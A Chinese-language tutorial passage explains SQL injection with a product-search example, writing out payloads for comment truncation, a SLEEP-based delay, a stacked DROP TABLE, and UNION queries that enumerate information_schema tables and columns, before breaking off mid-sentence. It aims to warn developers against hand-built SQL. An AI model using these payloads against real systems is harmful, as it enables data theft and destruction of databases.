sql注入基本原理是什么
这篇文章主要介绍了sql注入基本原理是什么，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。
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SQL注入基本原理
WEB技术发展日新月异，但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则，手拼更说方便，直观。通常自己拼SQL的人，应该是有听说过SQL注入很危险，但是总是心想：我的SQL语句这么简单，不可能被注入的。
花5分钟看完这个完整的例子，从今往后应该再也不敢有以上侥幸心理了。
简单场景
有一个WEB界面提供输入商品名称，展示对应价格，生产日期及生产地信息。例如输入Hammer展示：
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
我们跳过了搭建Web搜索界面的过程，直接关注重点部分: SQL注入。
如果要实现以上功能，那么我们大致可以猜到服务器使用的SQL语句如下：
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我们并不知道具体的表名和字段名，此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成
select ? from ? where ? Like '%'%';
这样拼接后造成SQL语法错误，得不到任何结果，我们需要使用--来把最后一个单引号注释掉。
select ? from ? where ? Like '%'; -- %';
--后的是注释内容(你也可以用#），这样你可以得到所有的产品信息，目前为止，还是没有嗅到危险的信号。
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| Paring Knife | 10.98 | China | 2019.11.11 |
| Boning Knife | 19.98 | China | 2019.01.01 |
小试牛刀and
紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
这时查询会2秒后才返回结果，如果把时间延长，用脚本多点几次查询，一下就能把数据库的连接池用完。
当然，还有破坏力更强的！
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/数据库直接删除掉，至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢？
为所欲为union
我们需要知道此数据库有哪一些表！这样才能能拿到有用的信息。
使用union可以把不同表的内容拼在一起，小试一下：
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| 1 | 2 | 3 | 4 |
可以看到我们把假数据1，2，3，4成功地拼接到搜索结果中。
MySQL系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| authors | hawkeye | 3 | 4 |
| products | hawkeye | 3 | 4 |
| user | hawkeye | 3 | 4 |
| .... | .... | 3 | 4 |
现在知道了这些数据库名和表名，所有人都对它为所欲为了！(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表，接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| id | hawkeye | 3 | 4 |
| name | hawkeye | 3 | 4 |
| price | hawkeye | 3 | 4 |
| address | hawkeye | 3 | 4 |
| updated_at | hawkeye | 3 | 4 |
所以，通过上面2步，我们知道了表名和字段名，那么查询API的完整SQL应该是(把上面的?都补全啦)：
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤，你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
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